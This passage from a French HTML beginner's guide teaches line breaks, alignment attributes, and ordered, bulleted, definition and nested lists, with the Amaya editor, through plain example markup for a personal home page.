5 Enregistrez votre fichier sous le nom pageacc1_3_2.html, mais ne
fermez pas le Bloc-Notes. Le code complet de cette page est
présenté dans le listing qui suit.
Listing 3-4 : Page d’accueil modifiée (version 1.3.2)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Ma page d’accueil"</TITLE>
<META name="author" content="mon nom">
<META name="version" content="1.3.2">
</HEAD>
<BODY>
<H1>Ma page d’accueil</H1>
<H2>Bienvenue sur mon site.</H2>
<P>Vous trouverez sur ce site des informations sur ma
<A href="[Link]">région</A>, ma <A href="[Link]">
famille</A> et mes <A href="[Link]">passions</A>.</P>
<P><A href="[Link] !</A>.</P>
</BODY>
</HTML>

Examinez cette nouvelle page dans votre navigateur. Ouvrez celui-ci,

puis naviguez jusqu’au fichier pageacc1_3_2.html. Vous devriez voir
quelque chose de similaire à ce qui est présenté dans la figure suivante.

64 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

Figure 3.11 :
Aspect de la page Web modifiée

Essayez de cliquer sur un des liens : vous obtenez un message d’erreur,

variable selon le navigateur. C’est normal : les pages secondaires
n’existent pas encore ! Vous y remédierez sous peu.

Figure 3.12 :
Message d’erreur
indiquant un lien
rompu

Élément saut de ligne BR

Nous avons dit que les éléments Hn et P, déjà examinés, étaient des
éléments de type bloc, qui débutent sur une nouvelle ligne et insèrent
après eux un saut de ligne. Nous avons également souligné que HTML
ne reconnaissait pas les sauts de ligne insérés dans le contenu d’un
élément. Il est pourtant parfois nécessaire d’effectuer manuellement un
passage à la ligne sans pour autant changer d’élément (de bloc), par
exemple pour posséder un titre réparti sur deux lignes ou pour diviser un
paragraphe trop long. Cela s’effectue en insérant un élément vide BR, de
type ligne :
1 Revenez dans le Bloc-Notes au fichier précédent
(pageacc1_3_2.html).
2 Vous allez encore modifier la version. Entrez comme suit la balise
META stipulant la version :

LE GUIDE COMPLET 65
 Chapitre 3 Conception de votre première page Web

<META name="version" content="1.3.3">

3 Vous allez maintenant insérer des sauts de ligne entre les

différents thèmes dans le (seul) paragraphe de texte. Commencez
par :
<P>Vous trouverez sur ce site des informations :<BR>
sur ma <A href="[Link]">région</A> ;<BR>
sur ma <A href="[Link]">famille</A> ;<BR>
sur mes <A href="[Link]">passions</A>.</P>
j Remarquez que le texte a été un peu modifié. Les passages à la
ligne employés dans le code présenté (après les balises <BR>)
permettent uniquement d’améliorer sa lisibilité : ils sont
ignorés par HTML. Tout le contenu de l’élément P aurait pu
être saisi sur la même ligne.

Vous pouvez insérer un saut de ligne où vous voulez dans l’élément

BODY pour obtenir un saut de ligne à l’écran : entre deux éléments bloc,
entre deux éléments ligne, au sein d’un contenu texte, etc.

XHTML
Si vous souhaitez être compatible XHTML, l’élément vide BR doit
être codé <br />.

Attributs d’alignements
Pour encore améliorer l’aspect d’un titre (ou d’un paragraphe), il serait
utile de pouvoir agir sur l’alignement.

HTML dispose d’un attribut d’alignement applicable à de nombreux

éléments, align.

Vous allez un peu améliorer l’aspect de la première page en jouant sur

l’alignement.
1 Revenez dans le Bloc-Notes au fichier précédent
(pageacc1_3_3.html).
2 Centrez les deux titres, à l’aide de l’attribut align :
<H1 align="center">Ma page d’accueil</H1>
<H2 align="center">Bienvenue sur mon site.</H2>

3 Modifiez le lien qui permet de vous envoyer un message. Ajoutez

ce qui suit :

66 LE GUIDE COMPLET
 Création de la page d’accueil Chapitre 3

<P align="center"><A href="[Link]

Ecrivez-moi !</A>.</P>

4 Enregistrez votre fichier sous le nom pageacc1_3_3.html. Le code

complet de cette page est présenté dans le Listing 3.4.
5 Pour la bonne forme, nous allons également créer le squelette des
autres pages. En partant du fichier actuellement ouvert,
commencez par modifier l’élément TITLE :
<TITLE>"Ma région "</TITLE>

6 Modifiez ensuite le titre et le sous-titre …

<H1 align="center">Ma région </H1>
<H2 align="center">...à complèter.</H2>

7 … puis le paragraphe de texte :

<P>... à compléter.</P>

8 Vous pouvez à votre guise conserver ou supprimer la ligne

établissant un lien vers un message électronique. En revanche, il
est capital de toujours prévoir sur une page secondaire un lien
vers la page d’accueil principale. Ajoutez donc la ligne suivante,
juste avant la balise </BODY> :
<P align="center"><A href="pageacc1_3_3.html">Retour vers
la page d’accueil</A></P>

9 Enregistrez ce fichier sous le nom [Link].

10 Créez ensuite les deux autres pages ([Link] et [Link]),
en modifiant comme il se doit le contenu des éléments TITLE et
H1.

L’attribut align possède plusieurs valeurs possibles, dont la

signification est présentée dans le Tableau 3.2. Remarquez toutefois que
son emploi avec des titres et paragraphes est désormais déconseillé :
mieux vaut recourir aux feuilles de style, que vous découvrirez dans le
Chapitre 8.

Tableau 3.2 : Valeurs d’alignement des paragraphes

Attribut de P Alignement de texte

<P align="left"> Alignement à gauche.

LE GUIDE COMPLET 67
 Chapitre 3 Conception de votre première page Web

Tableau 3.2 : Valeurs d’alignement des paragraphes

Attribut de P Alignement de texte

<P align="right"> Alignement sur la marge de droite, sans

justification à gauche : celle-ci est plutôt
désordonnée, mais cette disposition est pratique
dans le cas d’images et de colonnes de texte.

<P Le texte est centré.

align="center">
<P Le texte est justifié, comme avec un traitement de
align="justify"> texte.

Listing 3-5 : Page d’accueil modifiée (version 1.3.3).

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Ma page d’accueil"</TITLE>
<META name="author" content="mon nom">
<META name="version" content="1.3.3">
</HEAD>
<BODY>
<H1 align="center">Ma page d’accueil</H1>
<H2 align="center">Bienvenue sur mon site.</H2>
<P>Vous trouverez sur ce site des informations :<BR>
sur ma <A href="[Link]">région</A> ;<BR>
sur ma <A href="[Link]">famille</A> ;<BR>
sur mes <A href="[Link]">passions</A>.</P>
<P align="center"><A href="[Link]
Ecrivez-moi !</A>.</P>
</BODY>
</HTML>

Examinez votre nouvelle page d’accueil dans votre navigateur. Ouvrez

celui-ci, puis naviguez jusqu’au fichier pageacc1_3_3.html.

Figure 3.13 :
Page d’accueil

68 LE GUIDE COMPLET
 Résumé Chapitre 3

Cliquez sur un lien : vous accédez à l’une des nouvelles pages.

Figure 3.14 :
Une des pages secondaires

Revenez à la page d’accueil, testez les autres liens, puis, revenu sur la
page d’accueil, testez le lien d’envoi de courriel : votre logiciel de
messagerie s’ouvre.

Figure 3.15 :
Logiciel de messagerie lancé
à partir de la page

3.3. Résumé
j L’instruction !DOCTYPE permet de stipuler la DTD (Document
Type Definition) employée pour le document HTML.
j Un document HTML se compose d’un élément parent HTML qui
contient des éléments enfants HEAD et BODY.
j La seule information affichée par le navigateur appartenant à
l’élément HEAD est le contenu de l’élément TITLE, figurant dans
la barre de titre de la fenêtre. Les éléments META de l’élément

LE GUIDE COMPLET 69
 Chapitre 3 Conception de votre première page Web

HEAD servent à fournir des méta-informations employées par

certains agents utilisateurs (comme les robots des moteurs de
recherche), dont les mots-clés, une description, l’auteur, la version
et le générateur de la page.
j L’élément BODY constitue le corps du document : tout son contenu
est visible dans le navigateur.
j Ce contenu doit être structuré de façon logique. HTML propose
les éléments Hn pour des titres de niveaux différents, ainsi que
l’élément P pour un paragraphe de texte.
j Les liens hypertextes sont créés à l’aide de l’élément A suivi de
l’attribut href stipulant la cible du lien. Cet attribut href est
suivi d’un nom de protocole, comme http:/ ou [Link]
spécifiant le type de cible et l’action à suivre.
j Un lien hypertexte peut être absolu ou relatif.
j Un saut de ligne est obtenu à l’aide de l’élément vide BR.
j Les titres et les paragraphes admettent l’emploi de l’attribut
align pour obtenir un alignement particulier. Cet attribut est
toutefois désormais déconseillé : mieux vaut recourir aux feuilles
de style.

70 LE GUIDE COMPLET
 Listes et tableaux

Listes ....................................................................................................................................... 73
Tableaux .................................................................................................................................. 89
Résumé ................................................................................................................................ 133
 Chapitre 4 Listes et tableaux

Une page Web est composée avant tout de texte. Toutefois, toutes les
données et informations placées sur un site Web doivent passer par un
filtre final avant de pouvoir être lues par un être humain : elles doivent
être affichées à l’écran.

La lecture à l’écran, malgré les progrès réalisés par les concepteurs

d’écrans, reste plus malaisée que la lecture d’un document imprimé ou
projeté. La majorité des internautes rechignent à lire de longs textes en
ligne, préférant souvent les imprimer pour les relire à tête reposée.

Une conception intelligente d’un site Web doit prendre en compte ces
contraintes inévitables. Malgré son importance, mieux vaut limiter le
texte. Aérez-le toujours au maximum. Recourrez aux espaces vierges
pour reposer la vue.

Voici quelques règles simples :

j Placez toujours les informations importantes en haut de l’écran.
j Pour être efficace, un écran (une page) ne devrait jamais
comporter plus de sept informations distinctes.
j Seuls les 100 premiers mots permettent à l’utilisateur de décider
si le document est intéressant. Un document destiné à un public
général ne devrait jamais excéder 500 mots.

Cela ne veut pas dire que les longs articles sont proscrits sur le Web,
mais mieux vaut les rendre accessibles à l’aide d’un lien explicite, par
exemple, « Exemple extrait du Chapitre 1 » ou « Table des matières
détaillée ».

Si ce chapitre va vous aider à afficher votre texte de façon à ce qu’il soit

facilement lisible et compréhensible, il reste de votre ressort de faire en
sorte que le sujet soit intéressant et susceptible d’attirer le public
concerné !

Les pages réalisées jusqu’ici sont d’une extrême simplicité. HTML

propose de nombreux autres éléments structuraux pour améliorer tant la
structure que, par la suite, le rendu ou l’affichage des pages.

Au cours de ce chapitre, nous allons examiner les listes et les tableaux

des éléments fondamentaux de toute page Web réussie.

72 LE GUIDE COMPLET
 Listes Chapitre 4

Éléments et attributs étudiés dans ce chapitre :

OL (type, start, type), LI (type, value)
UL (type), LI (type)
DL, DT, DD
TABLE (summary, align, border, frame, rule, cellspacing,
cellpadding, width)
CAPTION
TR, TD, TH (align, valign, width, rowspan, colspan)
THEAD, TBODY, TFOOT
COLGROUP, COL (span, width)

4.1. Listes
Il existe en HTML trois types de listes qui permettent d’apporter un peu
plus de structure à un document :
j Les listes ordonnées ou numérotées.
j Les listes non ordonnées ou listes à puces.
j Les listes de définitions.

Il est également possible d’imbriquer des listes, même de types

différents.

Liste ordonnée : éléments OL et LI

Une liste numérotée (ou ordonnée) incrémente automatiquement chaque
élément de la liste. Ce système de numérotation automatique est très
utile, car il simplifie d’autant la saisie.

Créer une liste numérotée est d’une extrême simplicité. Vous débutez la
liste en ouvrant l’élément liste OL (Ordered List, liste ordonnée), puis
poursuivez par chaque membre de la liste, précédé de la balise
d’élément de liste, <LI>. La balise de fermeture </LI> est facultative
mais recommandée. En revanche, l’élément liste lui-même doit
impérativement être fermé.
<OL>
<LI>Premier élément</LI>
<LI>Deuxième élément</LI>
...
<LI>Dernier élément</LI>
</OL>

LE GUIDE COMPLET 73
 Chapitre 4 Listes et tableaux

Figure 4.1 :
Exemple de liste ordonnée

Test
Les fragments de code ainsi présentés sont des extraits d’une page
complète. Si vous souhaitez les tester, le mieux est de construire une
page type nommée par exemple [Link], avec un squelette de page
(instruction !doctype, éléments HTML, HEAD et BODY) , et de saisir
simplement dans l’élément BODY l’extrait de code proposé.

L’élément OL peut posséder un argument start, spécifiant le numéro

commençant la séquence. Par exemple, avec <OL start="2">, le
premier membre de la liste porte le numéro 2.

Les éléments LI et OL peuvent posséder un attribut type, qui permet de

définir le mode de numérotation de la liste. Employé pour un élément LI
individuel, il ne s’applique qu’à cet élément. Inséré en revanche à
l’intérieur de la balise <OL>, il agit sur la totalité de la liste. Voici les
valeurs possibles pour l’attribut type :
j 1 : Chiffres arabes (valeur par défaut)
j a : Lettres minuscules
j A : Lettres majuscules
j i : Chiffres romains en minuscules
j I : Chiffres romains en majuscules

value, employé uniquement avec un élément LI, réinitialise l’ordre de

la séquence. Ainsi, avec <LI value="8">, le membre suivant
possédera automatiquement une value de 9.

74 LE GUIDE COMPLET
 Listes Chapitre 4

Figure 4.2 :
Exemple de liste ordonnée, avec emploi
des attributs type="A", start="2" pour
l’élément OL et value="9" pour le dernier
élément LI.

L’emploi des attributs start, type et value est désormais déconseillé

au profit des feuilles de style.

Combiner les attributs

Il est possible de combiner les attributs start et type : le premier
membre de la liste apparaît avec la valeur start dans le type spécifié.
Ainsi, <OL type="I" start="4"> aboutit-il à un premier membre
désigné par "IV".

Liste à puces : éléments UL et LI

Une liste à puces ressemble énormément à la précédente, si ce n’est que
la numérotation est remplacée par des puces. Une liste à puces est un
élément UL (Unordered List, liste non ordonnée) qui renferme un nombre
quelconque d’éléments LI. Comme pour une liste ordonnée, l’élément
UL doit impérativement être fermé.
<UL>
<LI>Premier élément</LI>
<LI>Deuxième élément</LI>
...
<LI>Dernier élément</LI>
</UL>

Figure 4.3 :
Exemple de liste à puces

LE GUIDE COMPLET 75
 Chapitre 4 Listes et tableaux

Vous pouvez modifier le style des puces grâce à l’attribut type. Là

aussi, il peut s’appliquer à un élément LI individuel ou, inséré dans la
balise <UL>, agir sur la totalité de la liste. Voici les valeurs possibles
pour l’attribut type, lorsqu’il est employé dans une liste non ordonnée :

Tableau 4.1 : Valeurs possibles de l’attribut type

Valeur Signification

Disc Rond plein (valeur par défaut)

Square Carré plein

Circle Cercle vide

L’emploi de l’attribut type est désormais déconseillé au profit des

feuilles de style.

Figure 4.4 :
Exemple de liste à puces, avec
emploi des trois valeurs possibles
pour l’attribut type.

Les listes sont très agréables en HTML : elles sont d’emploi facile tout
en étant d’une extrême souplesse. Il est très facile de transformer une
liste numérotée en liste à puces et inversement, simplement en modifiant
les balises de début et de fin. Attention toutefois aux surprises si vous
avez employé les attributs déconseillés, les valeurs licites pour ces
attributs étant différentes selon le type de liste !

Liste de définitions : éléments DL, DT et DD

Une liste de définitions est l’équivalent d’un tableau de deux colonnes,
la première renfermant les mots ou expressions à définir et la seconde
les définitions elles-mêmes.

76 LE GUIDE COMPLET
 Listes Chapitre 4

Il est possible de créer une liste de définitions à l’aide de l’élément DL

(Definition List, liste de définitions), dont le contenu est composé
d’éléments DT (Definition Term, terme de définition) et d’éléments DD
(Definition Description, description de définition) correspondants. Voici
un exemple de code, avec la copie d’écran correspondante.
<H1 align="center">Eléments d’une liste de définitions</H1>
<DL>
<DT>DL</DT>
<DD>Elément liste de définition.</DD>
<DT>DT</DT>
<DD>Elément terme de définition</DD>
<DT>DD</DT>
<DD>Elément description de la définition</DD>
</DL>

Figure 4.5 :
Liste de définitions

Vous avez découvert les listes. Ne trouvez-vous pas que notre page
d’accueil présente ce qui ressemble furieusement à une liste ? Autant la
modifier…
1 Revenez dans le Bloc-Notes au fichier précédent
(pageacc1_3_3.html).
2 Comme d’habitude, vous modifiez la version. Entrez comme suit
la balise META stipulant la version :
<META name="version" content="1.4.1">

3 Placez-vous à la fin de la ligne

<P>Vous trouverez sur ce site des informations :<BR>

et remplacez la balise <BR> par une balise </P>, puis appuyez sur
[Ä] pour créer une nouvelle ligne.

LE GUIDE COMPLET 77
 Chapitre 4 Listes et tableaux

4 Saisissez sur celle-ci <UL> pour débuter une liste à puces.

5 Placez-vous au début de la ligne
sur ma <A href="[Link]">région</A> ;<BR>

Saisissez <LI>, puis remplacez la balise <BR> par </LI>.

6 Faites de même pour la ligne suivante. Saisissez au début de la
troisième ligne <LI>, puis remplacez la balise de fermeture </P>
par </LI>, appuyez sur [Ä] puis saisissez </UL> pour fermer la
liste. Ce fragment de code devrait désormais ressembler à ceci :
<P>Vous trouverez sur ce site des informations :</P>
<UL>
<LI>sur ma <A href="[Link]">région</A> ;</LI>
<LI>sur ma <A href="[Link]">famille</A> ;</LI>
<LI>sur mes <A href="[Link]">passions</A>.</LI>
</UL>

7 Enregistrez votre fichier sous le nom pageacc1_4_1.html.

Examinez cette page à l’aide de votre navigateur. Son aspect est
désormais plus agréable.

Figure 4.6 :
Page d’accueil avec liste à puces

Testez les liens. Tout va bien, mais lorsque vous voulez revenir à votre
page d’accueil, vous obtenez une des anciennes versions. Pourquoi ?
Tout simplement parce que vous n’avez pas modifié le nom de la cible
(attribut href) dans les pages secondaires. Le lien stipule toujours :
<A href="pageacc1_3_3.html">Retour vers la page d’accueil</A>

Ce type d’erreur est particulièrement fréquent (autant qu’exaspérant !).

Vous verrez par la suite une des façons de l’éviter, grâce notamment à

78 LE GUIDE COMPLET
 Listes Chapitre 4

l’aide d’une barre de navigation, mais voici déjà quelques règles et

astuces simples permettant d’éviter au moins partiellement ce piège :
1 Ne modifiez un nom de fichier comportant un numéro de version
qu’en cas de modification au moins mineure (par exemple ici, le
passage de la version 1.3 à la 1.4). Il est en principe inutile de
noter ainsi les modifications réellement secondaires, qui ne sont
souvent que des corrections de bogues. En revanche, pensez à
actualiser le contenu de votre balise <META name ="version"
content="numéro de version">.
2 Une bonne habitude à prendre consiste à archiver régulièrement
tous les fichiers composant le site, et au minimum lors d’un
changement de version mineure. Vous pouvez ainsi compacter,
par exemple dans un fichier nommé ici MonSitev1_3.zip, tous les
fichiers créés et employés jusque-là (sauf pageacc1_4_1.html).
3 Idéalement, cette archive (ou une copie) devrait être stockée à un
autre emplacement : en cas d’incident, vous pourriez ainsi revenir
à la version antérieure.
4 Supprimez ensuite de la racine du site les fichiers superflus (ici,
les fichiers pagacc1_3_x.html).
5 Enfin, modifiez les fichiers présentant dans la nouvelle version
des problèmes (liens ou autres) en corrigeant les erreurs.

Remarquez que c’est exactement la démarche que nous avons retenue,

puisque les différentes archives MonSite correspondent à chaque
chapitre.

Listes imbriquées
Il est très facile d’imbriquer des listes, même de types différents. Pour ce
faire, débutez simplement une nouvelle liste plutôt que de créer un
nouveau membre de liste. La nouvelle liste se comporte comme une
subdivision du membre le précédant immédiatement. Voici un exemple :

LE GUIDE COMPLET 79
 Chapitre 4 Listes et tableaux

Création d’une liste imbriquée

avec un éditeur de texte
Listing 4-1 : Exemple de code de listes imbriquées
1 <H1>Arguments et valeurs possibles dans des listes</H1>
2 <OL type="I">
3 <LI>Liste ordonnée</LI>
4 <UL type="square">
5 <LI>Elément OL</LI>
6 <DL>
7 <DT>start</DT>
8 <DD>valeur de début de la numérotation</DD>
9 <DT>type</DT>
10 <DD>1,Chiffres arabes (valeur par défaut)<BR>
11 a : Lettres minuscules<BR>
12 A : Lettres majuscules<BR>
13 I : Chiffres romains en minuscules<BR>
14 I : Chiffres romains en majuscules</DD>
15 </DL>
16 <LI>Elément LI</LI>
17 <DL>
18 <DT>value</DT>
19 <DD>valeur de réinitialisation de la numérotation</DD>
20 <DT>type</DT>
21 <DD>1,Chiffres arabes (valeur par défaut)<BR>
22 a : Lettres minuscules<BR>
23 A : Lettres majuscules<BR>
24 I : Chiffres romains en minuscules<BR>
25 I : Chiffres romains en majuscules</DD>
26 </DL>
27 </UL>
28 <LI>Liste à puces</LI>
29 <UL type="square">
30 <LI>Elément UL</LI>
31 <DL>
32 <DT>type</DT>
33 <DD> disc : Rond plein (valeur par défaut)<BR>
34 square : Carré plein<BR>
35 circle : Cercle vide</DD>
36 </DL>
37 <LI>Elément LI</LI>
38 <DL>
39 <DT>type</DT>
40 <DD> disc : Rond plein (valeur par défaut)<BR>
41 square : Carré plein<BR>
42 circle : Cercle vide</DD>
43 </DL>
44 </UL>
45 </OL>

80 LE GUIDE COMPLET
 Listes Chapitre 4

La figure suivante présente l’aspect de ce code vu dans un navigateur.

Figure 4.7 :
Listes imbriquées

Ce code présente plusieurs choses intéressantes. Remarquez d’abord la

présence de numéros de ligne : ceux-ci ne sont présents que pour
faciliter l’interprétation du code et ne doivent pas être saisis. En
revanche, le code a été indenté pour mettre en évidence les
imbrications : les éléments de même rang apparaissent les uns en
dessous des autres, tandis que les passages à la ligne HTML (<BR>) ont
été matérialisés à l’aide de retours chariot « manuels ». Comme cela a
déjà été précisé, les espaces vides supplémentaires (espaces, tabulations,
sauts de ligne) sont ignorés par HTML : ils ne servent qu’à simplifier la
lecture du code. C’est une bonne habitude à prendre lors de la saisie
manuelle de code. La plupart des éditeurs de code WYSIWYG
accomplissent cela automatiquement.

Examinez le code plus en détail : après la ligne 1 (l’élément titre de

premier niveau H1), il est débuté en ligne 2 une liste ordonnée à l’aide

LE GUIDE COMPLET 81
 Chapitre 4 Listes et tableaux

de l’élément OL, dont l’attribut type stipule que la numérotation est

faite en chiffres romains majuscules (type="I").

Vient ensuite, ligne 3, un élément de ligne LI, puis, ligne 4, débute une
liste à puces, l’élément UL possédant un attribut type fixé à square,
pour définir une puce carrée pleine. Vient ensuite un élément de liste
(LI), puis commence, ligne 6, une liste de définitions énumérant les
attributs et les valeurs possibles pour cet élément.

Il suffit ensuite de fermer la liste de définitions (ligne 15), de placer un

autre élément LI (pour l’élément LI de liste ordonnée, ligne 16) et de
recommencer une liste de définitions. Nous fermons ensuite la liste de
définitions (ligne 26), la liste à puces (ligne 27) et arrivons au second
membre de la liste ordonnée (ligne 28). La suite reprend la structure
présentée à partir de la ligne 4. La dernière liste de définitions est fermée
ligne 43, la liste à puces ligne 44 et enfin la liste numérotée ligne 45.
Ouf… Trois types différents de listes imbriquées, tout en jouant à l’aide
de l’attribut type sur l’aspect de ces listes…

Cette structure demande la saisie d’une quantité de code importante. Il

est donc intéressant de voir en quoi le recours à un éditeur HTML
permet de faciliter les choses.

Création d’une liste imbriquée

avec un éditeur HTML
Nous allons ici créer des listes imbriquées à l’aide de l’éditeur gratuit du
W3C, Amaya.
1 Ouvrez Amaya (Démarrer > Tous les programmes > Amaya >
Amaya).
2 Créez un nouveau document en choisissant File > New > New
XHTML 1.0 Transitional document. Par défaut, il est proposé de
créer le fichier dans le dossier d’installation d’Amaya : naviguez
jusqu’à votre dossier Mon site Web, puis saisissez comme nom de
document ListesImbriqué[Link].
3 Le document est de type XHTML 1.0. Transformez-le
immédiatement en document HTML en choisissant File > Change
the Document Type > Change to HTML 4.01 Transitional.

82 LE GUIDE COMPLET
 Listes Chapitre 4

Figure 4.8 :
Modification
du type de
document
avec Amaya

4 Remarquez que la barre de titre affiche no title. Modifiez le titre du

document. Choisissez XHTML> Change title, puis saisissez
Listes imbriquées. La barre de titre affiche Listes imbriquées.
5 Créez un titre de niveau 1 : cliquez sur le bouton H1, puis
saisissez Arguments et valeurs possibles dans des
listes.
6 Débutez une liste numérotée en cliquant sur le bouton Numbered
list.
7 Sélectionnez la ligne numérotée 1, puis choisissez Edit > Insert.
Une seconde ligne numérotée 2 apparaît en dessous. Remarquez
qu’avec Amaya, pour créer des listes imbriquées, mieux vaut
définir la structure d’abord : nous créons les deux lignes de la
première liste avant d’insérer les autres listes.
8 Placez-vous juste après 2, puis saisissez Liste à puces.
9 Placez-vous juste après 1, puis saisissez Liste ordonnée.
10 Débutez une liste à puces en cliquant sur le bouton Bulleted list.
11 Comme précédemment, cette liste à puces doit compter deux
éléments : sélectionnez la première ligne, puis choisissez Edit >
Insert.
12 Placez-vous sur la première ligne, puis saisissez Elément OL.
13 Débutez une liste de définitions en cliquant sur le bouton
Définition list, puis saisissez start.
14 Choisissez XHTML > List > Definition (dd), puis saisissez valeur
de début de la numérotation.
15 Choisissez XHTML > List > Term (dt), puis saisissez type.

LE GUIDE COMPLET 83
 Chapitre 4 Listes et tableaux

16 Choisissez XHTML > List > Definition (dd).

17 Saisissez 1 : Chiffres arabes (valeur par défaut),
puis choisissez XHTML > Break (br).
18 Répétez l’étape 13, en saisissant successivement a : Lettres
minuscules, A : Lettres majuscules et i : Chiffres
romains en minuscules en insérant après à chaque fois un
saut de ligne.
19 Saisissez I : Chiffres romains en majuscules.

Chaînes de texte
Vous pouvez également saisir à la suite toutes les chaînes de texte,
puis vous placer à la fin de chacune et insérer le saut de ligne en
choisissant XHTML > Break (br).

20 Placez-vous sur le deuxième élément de la liste à puces et

saisissez Elément LI.
21 Débutez une liste de définitions en cliquant sur le bouton
Définition list, puis saisissez value.
22 Choisissez XHTML > List > Definition (dd), puis saisissez valeur
de réinitialisation.
23 Répétez les étapes 15 à 19.
24 Placez-vous après Liste à puces, puis débutez une nouvelle liste à
puces en cliquant sur le bouton Bulleted list.
25 Cette liste à puces doit également compter deux éléments :
sélectionnez la première ligne, puis choisissez Edit > Insert.
26 Placez-vous sur la première ligne, puis saisissez Elément UL.
27 Débutez une liste de définitions en cliquant sur le bouton
Définition list, puis saisissez type.
28 Choisissez XHTML > List > Definition (dd).
29 Saisissez disc : Rond plein (valeur par défaut), puis
choisissez XHTML > Break (br).
30 Répétez l’étape 29, en saisissant square : Carré plein, en
insérant un saut de ligne, puis en saisissant circle : Cercle
vide.
31 Placez-vous sur la seconde ligne, puis saisissez Elément LI.
32 Répétez les étapes 27 à 30.

84 LE GUIDE COMPLET
 Listes Chapitre 4

La fenêtre de l’éditeur affiche directement les listes imbriquées telles

que vous les aviez vues précédemment.

Figure 4.9 :
Page Listes imbriquées dans l’éditeur
Amaya

Aucune balise n’a été saisie « en dur ». Mais quel est l’aspect du code
sous-jacent ? Pour le voir, choisissez View > Show source. Un extrait de
ce code est présenté dans le listing suivant.

Figure 4.10 :
Code source de la page
Listes imbriquées

Remarquez la présence de numéros de lignes (servant à faciliter

l’identification des erreurs), l’instruction !doctype et l’élément meta

LE GUIDE COMPLET 85
 Chapitre 4 Listes et tableaux

qui concerne le générateur, automatiquement insérés. Bien que nous

ayons choisi de convertir le document en HTML 4.01, les balises
figurent en minuscules, conformément à la spécification XHTML 1.0.
Le code est agréablement indenté et agrémenté de couleurs pour mieux
identifier les éléments et leurs attributs. Remarquez en outre la présence
de caractères « curieux », à la place des caractères accentués (par
exemple, ordonnée est codé ordonn&#xe9;e). Nous reviendrons
bientôt sur ce point.
Listing 4-2 : Extrait du code du fichier listesimbriqué[Link]
1 <h1>Arguments et valeurs possibles dans des listes</h1>
2 <ol>
3 <li>Liste ordonn&#xe9;e
4 <ul>
5 <li>El&#xe9;ment OL
6 <dl>
7 <dt>start</dt>
8 <dd>valeur de d&#xe9;but de la num&#xe9;rotation</dd>
9 <dt>type</dt>
10 <dd>1,Chiffres arabes (valeur par d&#xe9;faut)<br>
11 a : Lettres minuscules<br>
12 A : Lettres majuscules<br>
13 I : Chiffres romains en minuscules<br>
14 I : Chiffres romains en majuscules.</dd>
15 </dl>
16 </li>
17 <li>El&#xe9;ment LI
18 <dl>
19 <dt>value</dt>
20 <dd>valeur de r&#xe9;initialisation de la
✂ num&#xe9;rotation.</dd>
21 <dt>type</dt>
22 <dd>1,Chiffres arabes (valeur par d&#xe9;faut)<br>
23 a : Lettres minuscules<br>
24 A : Lettres majuscules<br>
25 I : Chiffres romains en minuscules<br>
26 I : Chiffres romains en majuscules.
27 </dd>
28 </dl>
29 </li>
30 </ul>
31 </li>
32 <li>Liste &#xe0; puces
33 <ul>
34 <li>El&#xe9;ment UL
35 <dl>
36 <dt>type</dt>
37 <dd>disc : Rond plein (valeur par d&#xe9;faut)<br>
38 square : Carr&#xe9; plein<br>
39 circle : Cercle vide </dd>

86 LE GUIDE COMPLET
 Listes Chapitre 4

40 </dl>
41 </li>
42 <li>El&#xe9;ment LI
43 <dl>
44 <dt>type</dt>
45 <dd>disc : Rond plein (valeur par d&#xe9;faut)<br>
46 square : Carr&#xe9; plein<br>
47 circle : Cercle vide
48 </dd>
49 </dl>
50 </li>
51 </ul>
52 </li>
53 </ol>

L’extrait concernant uniquement les listes est un peu plus long : les
balises de fermeture </li> occupent une ligne à elles seules,
contrairement au listing précédent. Remarquez en outre que les listes
sont réellement imbriquées dans les éléments LI concernés : en termes
de structure, cette construction est bien plus propre. Pour vous en
persuader, examinez la structure du document en choisissant View >
Show structure.

Figure 4.11 :
Structure de la page Listes
imbriquées

LE GUIDE COMPLET 87
 Chapitre 4 Listes et tableaux

Est-il réellement plus simple de travailler avec un éditeur dédié que

directement avec le Bloc-Notes ? Pour le moment, cela n’est pas
probant, mais reconnaissons que cet exemple est particulièrement
« tordu » !

Les listes sont largement employées dans les pages Web. Pour vous en
persuader, examinez la page de la version française de la spécification
HTML 4.01 et le code source correspondant.

Figure 4.12 : Exemple de listes

Vous y voyez des listes à puces et numérotées imbriquées, employées

pour créer une table des matières.

Figure 4.13 : Exemple de listes avec le code source correspondant

88 LE GUIDE COMPLET
 Tableaux Chapitre 4

4.2. Tableaux
Les tableaux (souvent nommés « tables » en HTML) permettent de
présenter des données (texte, texte préformaté, images, liens,
formulaires, champs de formulaires, autres tables, etc.) organisées en
lignes et en colonnes. Ils constituent désormais la méthode favorite
d’affichage de données et de présentation des pages Web. Alors qu’ils
étaient initialement prévus pour les seules données, ils ont rapidement
conquis le statut d’outils de présentation, autorisant les auteurs à
concevoir des pages ressemblant à des documents imprimés, dotées de
barres latérales, de colonnes et d’espaces vierges.

Les tableaux ne devraient pas toutefois représenter simplement un

moyen de disposer le contenu d’un document : cela peut entraîner des
problèmes de restitution sur les médias non visuels. En outre, employés
avec des images, ces tableaux peuvent forcer l’utilisateur à effectuer un
défilement horizontal pour voir un tableau conçu sur un système offrant
une surface d’affichage de taille supérieure. Afin de minimiser ces
problèmes, il est recommandé d’employer des feuilles de style pour le
contrôle de la disposition plutôt que des tableaux.

Les cellules d’un tableau peuvent contenir soit des informations « de

rubrique » (élément TH), soit des informations « de données » (élément
TD). Les cellules peuvent occuper plusieurs lignes et colonnes. Le
modèle du tableau HTML 4 permet aux auteurs l’étiquetage de chaque
cellule, de sorte que les agents utilisateurs non visuels peuvent
communiquer plus facilement à l’utilisateur les indications de rubrique
concernant la cellule. Ce mécanisme apporte non seulement une grande
assistance aux personnes qui ont des déficiences visuelles, mais donne
aussi aux navigateurs sans fil multimodes, avec des capacités d’affichage
limitées (par exemple, les téléavertisseurs et les téléphones utilisant le
Web), la possibilité de gérer les tableaux.

Contrairement à ce qui a pu se passer au début, la plupart des

navigateurs prennent désormais parfaitement en charge les tableaux
(même si certains interpréteurs texte-parole peuvent encore éprouver
quelques difficultés à les comprendre). Compte tenu de leur facilité de
mise en œuvre, il serait dommage de se priver de ces précieux outils.
Attention toutefois, si leur mise en œuvre initiale est très simple, leur
puissance permet d’atteindre un degré de sophistication élevé assorti
